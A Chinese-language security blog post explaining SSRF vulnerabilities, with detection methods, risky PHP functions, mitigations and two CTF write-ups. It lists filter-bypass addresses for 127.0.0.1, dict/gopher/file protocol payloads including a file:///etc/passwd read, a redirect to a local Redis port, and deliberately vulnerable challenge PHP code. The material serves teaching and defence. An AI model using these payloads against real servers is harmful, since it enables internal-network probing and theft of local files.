Ywc's blog

SSRF漏洞挖掘

Word count: 2.7k / Reading time: 10 min
2018/11/16 Share

SSRF

SSRF服务端请求伪造

腾讯安全:SSRF安全指北

DNS绑定攻击

  • 原理:利用服务器两次解析同一域名的短暂间隙,更换域名背后的ip达到突破同源策略或过waf进行ssrf的目的。

漏洞原理

终极简析: 服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制

SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源。

很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远
程和本地的服务器。这种形式的攻击称为服务端请求伪造攻击(Server-side Request Forgery)。

漏洞危害

  1. 对外网、服务器所在内网、服务器本地进行端口扫描,获取一些服务的banner信息等
  2. 攻击运行在内网或服务器本地的其他应用程序,如redis、mysql等
  3. 对内网Web应用进行指纹识别,识别企业内部的资产信息
  4. 攻击内外网的Web应用,主要是使用HTTP GET/POST请求就可以实现的攻击,如sql注入、文件上传等
  5. 利用file协议读取服务器本地文件等
  6. 进行跳板攻击等

漏洞检测

  • 1.排除法:浏览器f12查看源代码看是否是在本地进行了请求
    比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞
  • 2.dnslog等工具进行测试,看是否被访问
    可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。
  • 3.抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址.
  • 4.直接返回的Banner、title、content等信息
  • 5.留意bool型SSRF

危险函数(php中)

1
2
3
4
5
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
fsockopen():打开一个网络连接或者一个Unix 套接字连接。
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curlsetopt(),curlexec()和curlclose() 函数使用。
filegetcontents():将整个文件或一个url所指向的文件读入一个字符串中。
fopen():打开一个文件文件或者 URL。

上述函数函数使用不当会造成SSRF漏洞。此外,PHP原生类SoapClient在触发反序列化时可导致SSRF。

常见的漏洞功能点

容易出现SSRF的地方有:

1、社交分享功能:获取超链接的标题等内容进行显示
2、转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3、在线翻译:给网址翻译对应网页的内容
4、图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
5、图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6、云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7、网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8、数据库内置功能:数据库的比如mongodb的copyDatabase函数
9、邮件系统:比如接收邮件服务器地址
10、编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11、未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12、从远程服务器请求资源

绕过方法

  • 1、30x跳转:当防御方限制只允许http(s)访问或者对请求的host做了正确的校验后,可以通过30x方式跳转进行绕过
  • 2、URL解析绕过
  • 3、DNS解析绕过:通过dns解析绕过私有地址限制探测内网 列 www.127.0.0.1.xip.io
  • 4、编码进制绕过:列如:ip进制转换
    • 其他各种指向127.0.0.1的地址
      1
      2
      3
      4
      5
      6
      7
      8
      9
      http://localhost/         # localhost就是代指127.0.0.1
      http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
      http://0.0.0.0/ # 0.0.0.0这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址
      http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行
      http://[::]:80/ # 在liunx下可用,window测试了下不行
      http://127。0。0。1/ # 用中文句号绕过
      http://①②⑦.⓪.⓪.①
      http://127.1/
      http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.
  • 5、利用IPv6绕过:有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如::1或IPv6的内网域名–x.1.ip6.name来绕过过滤

利用函数

除了http/https,还有一些可利用的协议如下:

1.Dict 协议

1
dict://fuzz.wuyun.org:8080/helo:dict

2.Gopher 协议

1
2
3
4
5
gopher://fuzz.wuyun.org:8080/gopher

URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流

# 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。
  • gopher的默认端口是70

  • 如果发起POST请求,回车换行需要使用 %0d%0a来代替 %0a,如果多个参数,参数之间的&也需要进行URL编码

3.File协议

1
file:///etc/passwd

4.FTP(S)/SMB(S)

匿名访问及爆破

5.Tftp

UDP协议 发送UDP数据包

6.Telnet

SSH/Telnet匿名访问及爆破

修复手段

1、过滤返回信息,验证远程服务器对请求的响应是比较容易的方法;

2、统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态;

3、限制请求的端口为http常用的端口,比如,80,443,8080,8090;

4、黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网;

5、禁用不需要的协议。仅允许http和https请求;

6、使用正则对参数进行效验,防止畸形请求绕过黑名单。

参考文章1

  • 绕过方法:
    • 1、30x跳转:当防御方限制只允许http(s)访问或者对请求的host做了正确的校验后,可以通过30x方式跳转进行绕过
      • 针对只允许http(s)协议的情况,我们可以通过
        Location: dict://127.0.0.1:6379跳转到dict协议,从而扩大我们攻击面,来进行更深入的利用
    • 2、URL解析绕过
    • 3、DNS解析绕过:通过dns解析绕过私有地址限制探测内网 列 www.127.0.0.1.xip.io
    • 4、编码进制绕过:列如:ip进制转换
    • 5、利用IPv6绕过:有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如::1或IPv6的内网域名–x.1.ip6.name来绕过过滤

Reference

SSRF漏洞总结
了解SSRF,这一篇就足够了

一些题目

LCTF 201x

github地址:https://github.com/LCTF/LCTF2017

考察点:

  • 用file协议读取本地文件
  • 绕过逻辑中对host的检查, curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件
  • 截断url后面拼接的/, GET请求, 用?#都可以

payload其实很简单: file://www.baidu.com/etc/flag?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
if(!$_GET['site']){
echo <<<EOF
<html>
<body>
look source code:
<form action='' method='GET'>
<input type='submit' name='submit' />
<input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/>
</form>
</body>
</html>
EOF;
die();
}

$url = $_GET['site'];
$url_schema = parse_url($url);
$host = $url_schema['host'];
$request_url = $url."/";

if ($host !== 'www.baidu.com'){
die("wrong site");
}

$ci = curl_init();
curl_setopt($ci, CURLOPT_URL, $request_url);
curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ci);
curl_close($ci);

if($res){
echo "<h1>Source Code:</h1>";
echo $request_url;
echo "<hr />";
echo htmlentities($res);
}else{
echo "get source failed";
}

?>

XMAN个人排位赛 SIMPLE_SSRF

类似于LCTF的签到题

curl导致的漏洞。通过file协议即可读取本地文件flag.txt

payload:file://www.baidu.com/etc/flag##

原文作者: Ywc

原文链接: https://yinwc.github.io/2018/11/16/SSRF/

发表日期: November 16th 2018, 9:16:19 am

版权声明:

CATALOG
  1. 1. SSRF服务端请求伪造
    1. 1.1. 漏洞原理
    2. 1.2. 漏洞危害
    3. 1.3. 漏洞检测
      1. 1.3.1. 危险函数(php中)
      2. 1.3.2. 常见的漏洞功能点
    4. 1.4. 绕过方法
      1. 1.4.1. 利用函数
    5. 1.5. 修复手段
  2. 2. Reference
  3. 3. 一些题目
    1. 3.1. LCTF 201x
    2. 3.2. XMAN个人排位赛 SIMPLE_SSRF